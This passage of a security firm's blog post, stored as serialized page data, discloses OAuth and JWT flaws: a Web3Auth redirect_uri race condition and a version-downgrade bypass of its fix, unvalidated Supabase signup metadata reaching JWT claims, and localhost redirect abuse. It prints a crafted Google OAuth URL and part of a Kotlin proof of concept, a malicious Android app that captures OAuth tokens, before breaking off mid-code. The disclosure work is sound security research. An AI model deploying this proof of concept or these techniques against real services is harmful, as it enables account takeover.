",{"type":25,"tag":162,"props":73525,"children":73528},{"href":73526,"rel":73527},"https://oauth.net/2/",[166],[73529],{"type":31,"value":73530},"OAuth2",{"type":31,"value":73532}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":25,"tag":607,"props":73534,"children":73536},{"id":73535},"web3auth-authentication-flow",[73537],{"type":31,"value":73538},"Web3Auth Authentication flow",{"type":25,"tag":38,"props":73540,"children":73541},{},[73542],{"type":31,"value":73543},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":25,"tag":38,"props":73545,"children":73546},{},[73547],{"type":25,"tag":6461,"props":73548,"children":73550},{"alt":54541,"src":73549},"/posts/web2-in-web3/auth-flow.png",[],{"type":25,"tag":38,"props":73552,"children":73553},{},[73554,73556,73562],{"type":31,"value":73555},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":25,"tag":82,"props":73557,"children":73559},{"className":73558},[],[73560],{"type":31,"value":73561},"client_id",{"type":31,"value":73563},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":25,"tag":38,"props":73565,"children":73566},{},[73567,73569,73575,73577,73583,73585,73592],{"type":31,"value":73568},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":25,"tag":82,"props":73570,"children":73572},{"className":73571},[],[73573],{"type":31,"value":73574},"/start",{"type":31,"value":73576}," validates the ",{"type":25,"tag":82,"props":73578,"children":73580},{"className":73579},[],[73581],{"type":31,"value":73582},"redirect_url",{"type":31,"value":73584}," against the configured ",{"type":25,"tag":162,"props":73586,"children":73589},{"href":73587,"rel":73588},"https://web3auth.io/docs/dashboard-setup/whitelisting",[166],[73590],{"type":31,"value":73591},"whitelist",{"type":31,"value":73593}," to ensure it matches one of the allowed URLs.",{"type":25,"tag":607,"props":73595,"children":73597},{"id":73596},"in-transit-cryptography",[73598],{"type":31,"value":73599},"In-transit Cryptography",{"type":25,"tag":38,"props":73601,"children":73602},{},[73603,73605,73612,73614,73620,73622,73628,73630,73635,73637,73642],{"type":31,"value":73604},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":25,"tag":162,"props":73606,"children":73609},{"href":73607,"rel":73608},"https://en.wikipedia.org/wiki/Key_(cryptography)",[166],[73610],{"type":31,"value":73611},"cryptographic key",{"type":31,"value":73613}," is derived from the ",{"type":25,"tag":82,"props":73615,"children":73617},{"className":73616},[],[73618],{"type":31,"value":73619},"sessionId",{"type":31,"value":73621},"  sent in the ",{"type":25,"tag":82,"props":73623,"children":73625},{"className":73624},[],[73626],{"type":31,"value":73627},"GET",{"type":31,"value":73629}," parameter to the ",{"type":25,"tag":82,"props":73631,"children":73633},{"className":73632},[],[73634],{"type":31,"value":73574},{"type":31,"value":73636},". Since the ",{"type":25,"tag":82,"props":73638,"children":73640},{"className":73639},[],[73641],{"type":31,"value":73619},{"type":31,"value":73643}," can be controlled, it allows us to send and receive data from the session server.",{"type":25,"tag":38,"props":73645,"children":73646},{},[73647],{"type":25,"tag":6461,"props":73648,"children":73650},{"alt":54541,"src":73649},"/posts/web2-in-web3/image-2.png",[],{"type":25,"tag":607,"props":73652,"children":73654},{"id":73653},"race-condition",[73655],{"type":31,"value":73656},"Race Condition",{"type":25,"tag":38,"props":73658,"children":73659},{},[73660,73662,73667,73669,73675,73677,73682,73684,73689],{"type":31,"value":73661},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":25,"tag":82,"props":73663,"children":73665},{"className":73664},[],[73666],{"type":31,"value":73574},{"type":31,"value":73668}," and later used in the ",{"type":25,"tag":82,"props":73670,"children":73672},{"className":73671},[],[73673],{"type":31,"value":73674},"/end",{"type":31,"value":73676}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":25,"tag":82,"props":73678,"children":73680},{"className":73679},[],[73681],{"type":31,"value":73574},{"type":31,"value":73683},") but before  use (",{"type":25,"tag":82,"props":73685,"children":73687},{"className":73686},[],[73688],{"type":31,"value":73674},{"type":31,"value":24696},{"type":25,"tag":38,"props":73691,"children":73692},{},[73693,73695,73702,73704,73709],{"type":31,"value":73694},"To exploit this ",{"type":25,"tag":162,"props":73696,"children":73699},{"href":73697,"rel":73698},"https://portswigger.net/web-security/race-conditions",[166],[73700],{"type":31,"value":73701},"race condition",{"type":31,"value":73703},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":25,"tag":82,"props":73705,"children":73707},{"className":73706},[],[73708],{"type":31,"value":73619},{"type":31,"value":73710}," but with modified malicious parameters.",{"type":25,"tag":38,"props":73712,"children":73713},{},[73714],{"type":25,"tag":9267,"props":73715,"children":73716},{},[73717],{"type":31,"value":73718},"What can be modified to achieve something impactful?",{"type":25,"tag":38,"props":73720,"children":73721},{},[73722,73724,73730,73732,73737],{"type":31,"value":73723},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":25,"tag":82,"props":73725,"children":73727},{"className":73726},[],[73728],{"type":31,"value":73729},"redirect_uri",{"type":31,"value":73731}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":25,"tag":82,"props":73733,"children":73735},{"className":73734},[],[73736],{"type":31,"value":73561},{"type":31,"value":179},{"type":25,"tag":38,"props":73739,"children":73740},{},[73741],{"type":25,"tag":6461,"props":73742,"children":73744},{"alt":54541,"src":73743},"/posts/web2-in-web3/image-3.png",[],{"type":25,"tag":38,"props":73746,"children":73747},{},[73748],{"type":31,"value":73749},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":25,"tag":607,"props":73751,"children":73753},{"id":73752},"patch-bypass",[73754],{"type":31,"value":73755},"Patch & Bypass",{"type":25,"tag":38,"props":73757,"children":73758},{},[73759],{"type":31,"value":73760},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":25,"tag":38,"props":73762,"children":73763},{},[73764],{"type":31,"value":73765},"To bypass the fix we were able to change the version in the URL:",{"type":25,"tag":2033,"props":73767,"children":73768},{},[73769,73780],{"type":25,"tag":2037,"props":73770,"children":73771},{},[73772,73778],{"type":25,"tag":82,"props":73773,"children":73775},{"className":73774},[],[73776],{"type":31,"value":73777},"https://auth.web3auth.io/v8/start",{"type":31,"value":73779}," (latest version)",{"type":25,"tag":2037,"props":73781,"children":73782},{},[73783,73789],{"type":25,"tag":82,"props":73784,"children":73786},{"className":73785},[],[73787],{"type":31,"value":73788},"https://auth.web3auth.io/v6/start",{"type":31,"value":73790}," (bypass)",{"type":25,"tag":38,"props":73792,"children":73793},{},[73794],{"type":31,"value":73795},"We reported this issue, and it was addressed just as quickly!",{"type":25,"tag":26,"props":73797,"children":73799},{"id":73798},"supabase-metadata-manipulation",[73800],{"type":31,"value":73801},"Supabase metadata manipulation",{"type":25,"tag":607,"props":73803,"children":73805},{"id":73804},"supabase-authentication-flow",[73806],{"type":31,"value":73807},"Supabase Authentication flow",{"type":25,"tag":38,"props":73809,"children":73810},{},[73811,73818,73820,73827],{"type":25,"tag":162,"props":73812,"children":73815},{"href":73813,"rel":73814},"https://supabase.com/docs/guides/auth",[166],[73816],{"type":31,"value":73817},"Supabase",{"type":31,"value":73819}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":25,"tag":162,"props":73821,"children":73824},{"href":73822,"rel":73823},"https://jwt.io/",[166],[73825],{"type":31,"value":73826},"JWT",{"type":31,"value":73828}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":25,"tag":607,"props":73830,"children":73832},{"id":73831},"jwt-verification",[73833],{"type":31,"value":73834},"JWT verification",{"type":25,"tag":38,"props":73836,"children":73837},{},[73838,73840,73845,73846,73852,73854,73860],{"type":31,"value":73839},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":25,"tag":82,"props":73841,"children":73843},{"className":73842},[],[73844],{"type":31,"value":73487},{"type":31,"value":1301},{"type":25,"tag":82,"props":73847,"children":73849},{"className":73848},[],[73850],{"type":31,"value":73851},"identity_data",{"type":31,"value":73853},", in a signup request by manipulating the input inside the ",{"type":25,"tag":82,"props":73855,"children":73857},{"className":73856},[],[73858],{"type":31,"value":73859},"\"data\": {}",{"type":31,"value":73861}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":25,"tag":38,"props":73863,"children":73864},{},[73865,73867,73873,73874,73880,73882,73888],{"type":31,"value":73866},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":25,"tag":82,"props":73868,"children":73870},{"className":73869},[],[73871],{"type":31,"value":73872},"\"role\": \"admin\"",{"type":31,"value":17084},{"type":25,"tag":82,"props":73875,"children":73877},{"className":73876},[],[73878],{"type":31,"value":73879},"\"email_verified\": true",{"type":31,"value":73881},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":25,"tag":82,"props":73883,"children":73885},{"className":73884},[],[73886],{"type":31,"value":73887},"\"test\": \"test\"",{"type":31,"value":73889},", enabling us to inject arbitrary data into the final JWT token.",{"type":25,"tag":38,"props":73891,"children":73892},{},[73893],{"type":25,"tag":6461,"props":73894,"children":73896},{"alt":54541,"src":73895},"/posts/web2-in-web3/image-4.png",[],{"type":25,"tag":38,"props":73898,"children":73899},{},[73900],{"type":31,"value":73901},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":25,"tag":38,"props":73903,"children":73904},{},[73905],{"type":31,"value":73906},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":25,"tag":206,"props":73908,"children":73910},{"className":35319,"code":73909,"language":35321,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[73911],{"type":25,"tag":82,"props":73912,"children":73913},{"__ignoreMap":7},[73914,73939,73951,74020,74069,74117,74162,74185,74222,74238,74245],{"type":25,"tag":216,"props":73915,"children":73916},{"class":6916,"line":6917},[73917,73921,73926,73930,73935],{"type":25,"tag":216,"props":73918,"children":73919},{"style":6930},[73920],{"type":31,"value":35333},{"type":25,"tag":216,"props":73922,"children":73923},{"style":7041},[73924],{"type":31,"value":73925}," parseSupaBase",{"type":25,"tag":216,"props":73927,"children":73928},{"style":6958},[73929],{"type":31,"value":1844},{"type":25,"tag":216,"props":73931,"children":73932},{"style":6941},[73933],{"type":31,"value":73934},"token",{"type":25,"tag":216,"props":73936,"children":73937},{"style":6958},[73938],{"type":31,"value":18755},{"type":25,"tag":216,"props":73940,"children":73941},{"class":6916,"line":6763},[73942,73947],{"type":25,"tag":216,"props":73943,"children":73944},{"style":6967},[73945],{"type":31,"value":73946},"    try",{"type":25,"tag":216,"props":73948,"children":73949},{"style":6958},[73950],{"type":31,"value":7235},{"type":25,"tag":216,"props":73952,"children":73953},{"class":6916,"line":6772},[73954,73958,73962,73967,73971,73976,73980,73985,73989,73993,73998,74002,74007,74011,74016],{"type":25,"tag":216,"props":73955,"children":73956},{"style":6930},[73957],{"type":31,"value":36858},{"type":25,"tag":216,"props":73959,"children":73960},{"style":6958},[73961],{"type":31,"value":26972},{"type":25,"tag":216,"props":73963,"children":73964},{"style":6941},[73965],{"type":31,"value":73966},"header",{"type":25,"tag":216,"props":73968,"children":73969},{"style":6958},[73970],{"type":31,"value":7020},{"type":25,"tag":216,"props":73972,"children":73973},{"style":6941},[73974],{"type":31,"value":73975},"payload",{"type":25,"tag":216,"props":73977,"children":73978},{"style":6958},[73979],{"type":31,"value":7020},{"type":25,"tag":216,"props":73981,"children":73982},{"style":6941},[73983],{"type":31,"value":73984},"signature",{"type":25,"tag":216,"props":73986,"children":73987},{"style":6958},[73988],{"type":31,"value":12608},{"type":25,"tag":216,"props":73990,"children":73991},{"style":6947},[73992],{"type":31,"value":266},{"type":25,"tag":216,"props":73994,"children":73995},{"style":6941},[73996],{"type":31,"value":73997}," token",{"type":25,"tag":216,"props":73999,"children":74000},{"style":6958},[74001],{"type":31,"value":179},{"type":25,"tag":216,"props":74003,"children":74004},{"style":7041},[74005],{"type":31,"value":74006},"split",{"type":25,"tag":216,"props":74008,"children":74009},{"style":6958},[74010],{"type":31,"value":1844},{"type":25,"tag":216,"props":74012,"children":74013},{"style":8199},[74014],{"type":31,"value":74015},"'.'",{"type":25,"tag":216,"props":74017,"children":74018},{"style":6958},[74019],{"type":31,"value":7791},{"type":25,"tag":216,"props":74021,"children":74022},{"class":6916,"line":6999},[74023,74027,74032,74036,74040,74044,74048,74052,74057,74061,74065],{"type":25,"tag":216,"props":74024,"children":74025},{"style":6930},[74026],{"type":31,"value":36858},{"type":25,"tag":216,"props":74028,"children":74029},{"style":6941},[74030],{"type":31,"value":74031}," decodedHeader",{"type":25,"tag":216,"props":74033,"children":74034},{"style":6947},[74035],{"type":31,"value":6950},{"type":25,"tag":216,"props":74037,"children":74038},{"style":6941},[74039],{"type":31,"value":41485},{"type":25,"tag":216,"props":74041,"children":74042},{"style":6958},[74043],{"type":31,"value":179},{"type":25,"tag":216,"props":74045,"children":74046},{"style":7041},[74047],{"type":31,"value":43169},{"type":25,"tag":216,"props":74049,"children":74050},{"style":6958},[74051],{"type":31,"value":1844},{"type":25,"tag":216,"props":74053,"children":74054},{"style":7041},[74055],{"type":31,"value":74056},"atob",{"type":25,"tag":216,"props":74058,"children":74059},{"style":6958},[74060],{"type":31,"value":1844},{"type":25,"tag":216,"props":74062,"children":74063},{"style":6941},[74064],{"type":31,"value":73966},{"type":25,"tag":216,"props":74066,"children":74067},{"style":6958},[74068],{"type":31,"value":11169},{"type":25,"tag":216,"props":74070,"children":74071},{"class":6916,"line":7104},[74072,74076,74081,74085,74089,74093,74097,74101,74105,74109,74113],{"type":25,"tag":216,"props":74073,"children":74074},{"style":6930},[74075],{"type":31,"value":36858},{"type":25,"tag":216,"props":74077,"children":74078},{"style":6941},[74079],{"type":31,"value":74080}," decodedPayload",{"type":25,"tag":216,"props":74082,"children":74083},{"style":6947},[74084],{"type":31,"value":6950},{"type":25,"tag":216,"props":74086,"children":74087},{"style":6941},[74088],{"type":31,"value":41485},{"type":25,"tag":216,"props":74090,"children":74091},{"style":6958},[74092],{"type":31,"value":179},{"type":25,"tag":216,"props":74094,"children":74095},{"style":7041},[74096],{"type":31,"value":43169},{"type":25,"tag":216,"props":74098,"children":74099},{"style":6958},[74100],{"type":31,"value":1844},{"type":25,"tag":216,"props":74102,"children":74103},{"style":7041},[74104],{"type":31,"value":74056},{"type":25,"tag":216,"props":74106,"children":74107},{"style":6958},[74108],{"type":31,"value":1844},{"type":25,"tag":216,"props":74110,"children":74111},{"style":6941},[74112],{"type":31,"value":73975},{"type":25,"tag":216,"props":74114,"children":74115},{"style":6958},[74116],{"type":31,"value":11169},{"type":25,"tag":216,"props":74118,"children":74119},{"class":6916,"line":7210},[74120,74124,74128,74133,74137,74141,74146,74150,74154,74158],{"type":25,"tag":216,"props":74121,"children":74122},{"style":6967},[74123],{"type":31,"value":19696},{"type":25,"tag":216,"props":74125,"children":74126},{"style":6958},[74127],{"type":31,"value":13536},{"type":25,"tag":216,"props":74129,"children":74130},{"style":6941},[74131],{"type":31,"value":74132},"header:",{"type":25,"tag":216,"props":74134,"children":74135},{"style":6941},[74136],{"type":31,"value":74031},{"type":25,"tag":216,"props":74138,"children":74139},{"style":6958},[74140],{"type":31,"value":7020},{"type":25,"tag":216,"props":74142,"children":74143},{"style":6941},[74144],{"type":31,"value":74145},"payload:",{"type":25,"tag":216,"props":74147,"children":74148},{"style":6941},[74149],{"type":31,"value":74080},{"type":25,"tag":216,"props":74151,"children":74152},{"style":6958},[74153],{"type":31,"value":7020},{"type":25,"tag":216,"props":74155,"children":74156},{"style":6941},[74157],{"type":31,"value":73984},{"type":25,"tag":216,"props":74159,"children":74160},{"style":6958},[74161],{"type":31,"value":22252},{"type":25,"tag":216,"props":74163,"children":74164},{"class":6916,"line":7238},[74165,74169,74173,74177,74181],{"type":25,"tag":216,"props":74166,"children":74167},{"style":6958},[74168],{"type":31,"value":19731},{"type":25,"tag":216,"props":74170,"children":74171},{"style":6967},[74172],{"type":31,"value":52374},{"type":25,"tag":216,"props":74174,"children":74175},{"style":6958},[74176],{"type":31,"value":7010},{"type":25,"tag":216,"props":74178,"children":74179},{"style":6941},[74180],{"type":31,"value":18815},{"type":25,"tag":216,"props":74182,"children":74183},{"style":6958},[74184],{"type":31,"value":18755},{"type":25,"tag":216,"props":74186,"children":74187},{"class":6916,"line":7251},[74188,74193,74197,74201,74205,74210,74214,74218],{"type":25,"tag":216,"props":74189,"children":74190},{"style":6941},[74191],{"type":31,"value":74192},"        console",{"type":25,"tag":216,"props":74194,"children":74195},{"style":6958},[74196],{"type":31,"value":179},{"type":25,"tag":216,"props":74198,"children":74199},{"style":7041},[74200],{"type":31,"value":18815},{"type":25,"tag":216,"props":74202,"children":74203},{"style":6958},[74204],{"type":31,"value":1844},{"type":25,"tag":216,"props":74206,"children":74207},{"style":8199},[74208],{"type":31,"value":74209},"'Error parsing token:'",{"type":25,"tag":216,"props":74211,"children":74212},{"style":6958},[74213],{"type":31,"value":7020},{"type":25,"tag":216,"props":74215,"children":74216},{"style":6941},[74217],{"type":31,"value":18815},{"type":25,"tag":216,"props":74219,"children":74220},{"style":6958},[74221],{"type":31,"value":7791},{"type":25,"tag":216,"props":74223,"children":74224},{"class":6916,"line":7269},[74225,74229,74234],{"type":25,"tag":216,"props":74226,"children":74227},{"style":6967},[74228],{"type":31,"value":19696},{"type":25,"tag":216,"props":74230,"children":74231},{"style":6930},[74232],{"type":31,"value":74233}," null",{"type":25,"tag":216,"props":74235,"children":74236},{"style":6958},[74237],{"type":31,"value":6961},{"type":25,"tag":216,"props":74239,"children":74240},{"class":6916,"line":7290},[74241],{"type":25,"tag":216,"props":74242,"children":74243},{"style":6958},[74244],{"type":31,"value":7305},{"type":25,"tag":216,"props":74246,"children":74247},{"class":6916,"line":7299},[74248],{"type":25,"tag":216,"props":74249,"children":74250},{"style":6958},[74251],{"type":31,"value":7868},{"type":25,"tag":607,"props":74253,"children":74254},{"id":44291},[74255],{"type":31,"value":44294},{"type":25,"tag":38,"props":74257,"children":74258},{},[74259,74261,74268,74270,74276],{"type":31,"value":74260},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":25,"tag":162,"props":74262,"children":74265},{"href":74263,"rel":74264},"https://supabase.com/docs/guides/database/postgres/row-level-security",[166],[74266],{"type":31,"value":74267},"Row-Level Security",{"type":31,"value":74269}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":25,"tag":82,"props":74271,"children":74273},{"className":74272},[],[74274],{"type":31,"value":74275},"app_metadata",{"type":31,"value":74277},". These fields must be strictly validated at every step of their creation and update processes.",{"type":25,"tag":26,"props":74279,"children":74281},{"id":74280},"oauth-in-development-environments",[74282],{"type":31,"value":74283},"OAuth in development environments",{"type":25,"tag":38,"props":74285,"children":74286},{},[74287,74289,74296,74298,74303],{"type":31,"value":74288},"After watching a ",{"type":25,"tag":162,"props":74290,"children":74293},{"href":74291,"rel":74292},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[166],[74294],{"type":31,"value":74295},"talk",{"type":31,"value":74297}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":25,"tag":82,"props":74299,"children":74301},{"className":74300},[],[74302],{"type":31,"value":73729},{"type":31,"value":74304}," parameter during the OAuth flow.",{"type":25,"tag":38,"props":74306,"children":74307},{},[74308,74310,74317],{"type":31,"value":74309},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":25,"tag":162,"props":74311,"children":74314},{"href":74312,"rel":74313},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[166],[74315],{"type":31,"value":74316},"Remote Code Execution",{"type":31,"value":74318}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":25,"tag":38,"props":74320,"children":74321},{},[74322,74324,74330],{"type":31,"value":74323},"In one of our client's implementations, we identified that ",{"type":25,"tag":82,"props":74325,"children":74327},{"className":74326},[],[74328],{"type":31,"value":74329},"localhost:3000",{"type":31,"value":74331}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":25,"tag":38,"props":74333,"children":74334},{},[74335],{"type":31,"value":74336},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":25,"tag":206,"props":74338,"children":74342},{"className":74339,"code":74340,"language":74341,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[74343],{"type":25,"tag":82,"props":74344,"children":74345},{"__ignoreMap":7},[74346],{"type":25,"tag":216,"props":74347,"children":74348},{"class":6916,"line":6917},[74349],{"type":25,"tag":216,"props":74350,"children":74351},{},[74352],{"type":31,"value":74340},{"type":25,"tag":38,"props":74354,"children":74355},{},[74356],{"type":31,"value":74357},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":25,"tag":206,"props":74359,"children":74363},{"className":74360,"code":74361,"language":74362,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[74364],{"type":25,"tag":82,"props":74365,"children":74366},{"__ignoreMap":7},[74367,74394,74401,74433,74455,74462,74470,74492,74504,74516,74551,74577,74627,74634,74641,74648,74656,74678,74713,74726,74733,74740,74761,74787,74799,74820,74837,74849,74875,74914,74935,74943,74955,74980,74992,75005,75013,75020,75028,75036,75043,75073,75080],{"type":25,"tag":216,"props":74368,"children":74369},{"class":6916,"line":6917},[74370,74375,74380,74385,74390],{"type":25,"tag":216,"props":74371,"children":74372},{"style":6930},[74373],{"type":31,"value":74374},"class",{"type":25,"tag":216,"props":74376,"children":74377},{"style":7369},[74378],{"type":31,"value":74379}," MainActivity",{"type":25,"tag":216,"props":74381,"children":74382},{"style":6958},[74383],{"type":31,"value":74384}," : ",{"type":25,"tag":216,"props":74386,"children":74387},{"style":7369},[74388],{"type":31,"value":74389},"AppCompatActivity",{"type":25,"tag":216,"props":74391,"children":74392},{"style":6958},[74393],{"type":31,"value":19688},{"type":25,"tag":216,"props":74395,"children":74396},{"class":6916,"line":6763},[74397],{"type":25,"tag":216,"props":74398,"children":74399},{"emptyLinePlaceholder":16},[74400],{"type":31,"value":7636},{"type":25,"tag":216,"props":74402,"children":74403},{"class":6916,"line":6772},[74404,74409,74413,74418,74423,74428],{"type":25,"tag":216,"props":74405,"children":74406},{"style":6930},[74407],{"type":31,"value":74408},"    override",{"type":25,"tag":216,"props":74410,"children":74411},{"style":6930},[74412],{"type":31,"value":10152},{"type":25,"tag":216,"props":74414,"children":74415},{"style":7041},[74416],{"type":31,"value":74417}," onCreate",{"type":25,"tag":216,"props":74419,"children":74420},{"style":6958},[74421],{"type":31,"value":74422},"(savedInstanceState: ",{"type":25,"tag":216,"props":74424,"children":74425},{"style":7369},[74426],{"type":31,"value":74427},"Bundle",{"type":25,"tag":216,"props":74429,"children":74430},{"style":6958},[74431],{"type":31,"value":74432},"?) {\n",{"type":25,"tag":216,"props":74434,"children":74435},{"class":6916,"line":6999},[74436,74441,74445,74450],{"type":25,"tag":216,"props":74437,"children":74438},{"style":6930},[74439],{"type":31,"value":74440},"        super",{"type":25,"tag":216,"props":74442,"children":74443},{"style":6958},[74444],{"type":31,"value":179},{"type":25,"tag":216,"props":74446,"children":74447},{"style":7041},[74448],{"type":31,"value":74449},"onCreate",{"type":25,"tag":216,"props":74451,"children":74452},{"style":6958},[74453],{"type":31,"value":74454},"(savedInstanceState)\n",{"type":25,"tag":216,"props":74456,"children":74457},{"class":6916,"line":7104},[74458],{"type":25,"tag":216,"props":74459,"children":74460},{"emptyLinePlaceholder":16},[74461],{"type":31,"value":7636},{"type":25,"tag":216,"props":74463,"children":74464},{"class":6916,"line":7210},[74465],{"type":25,"tag":216,"props":74466,"children":74467},{"style":6921},[74468],{"type":31,"value":74469},"        // Start the Ktor web server\n",{"type":25,"tag":216,"props":74471,"children":74472},{"class":6916,"line":7238},[74473,74478,74483,74488],{"type":25,"tag":216,"props":74474,"children":74475},{"style":7041},[74476],{"type":31,"value":74477},"        CoroutineScope",{"type":25,"tag":216,"props":74479,"children":74480},{"style":6958},[74481],{"type":31,"value":74482},"(Dispatchers.IO).",{"type":25,"tag":216,"props":74484,"children":74485},{"style":7041},[74486],{"type":31,"value":74487},"launch",{"type":25,"tag":216,"props":74489,"children":74490},{"style":6958},[74491],{"type":31,"value":7235},{"type":25,"tag":216,"props":74493,"children":74494},{"class":6916,"line":7251},[74495,74500],{"type":25,"tag":216,"props":74496,"children":74497},{"style":6967},[74498],{"type":31,"value":74499},"            try",{"type":25,"tag":216,"props":74501,"children":74502},{"style":6958},[74503],{"type":31,"value":7235},{"type":25,"tag":216,"props":74505,"children":74506},{"class":6916,"line":7269},[74507,74512],{"type":25,"tag":216,"props":74508,"children":74509},{"style":7041},[74510],{"type":31,"value":74511},"                startWebServer",{"type":25,"tag":216,"props":74513,"children":74514},{"style":6958},[74515],{"type":31,"value":11681},{"type":25,"tag":216,"props":74517,"children":74518},{"class":6916,"line":7290},[74519,74524,74529,74533,74538,74542,74547],{"type":25,"tag":216,"props":74520,"children":74521},{"style":6958},[74522],{"type":31,"value":74523},"                Log.",{"type":25,"tag":216,"props":74525,"children":74526},{"style":7041},[74527],{"type":31,"value":74528},"d",{"type":25,"tag":216,"props":74530,"children":74531},{"style":6958},[74532],{"type":31,"value":1844},{"type":25,"tag":216,"props":74534,"children":74535},{"style":8199},[74536],{"type":31,"value":74537},"\"WebServer\"",{"type":25,"tag":216,"props":74539,"children":74540},{"style":6958},[74541],{"type":31,"value":7020},{"type":25,"tag":216,"props":74543,"children":74544},{"style":8199},[74545],{"type":31,"value":74546},"\"Server started on http://localhost:3000\"",{"type":25,"tag":216,"props":74548,"children":74549},{"style":6958},[74550],{"type":31,"value":7101},{"type":25,"tag":216,"props":74552,"children":74553},{"class":6916,"line":7299},[74554,74559,74563,74568,74573],{"type":25,"tag":216,"props":74555,"children":74556},{"style":6958},[74557],{"type":31,"value":74558},"            } ",{"type":25,"tag":216,"props":74560,"children":74561},{"style":6930},[74562],{"type":31,"value":52374},{"type":25,"tag":216,"props":74564,"children":74565},{"style":6958},[74566],{"type":31,"value":74567}," (e: 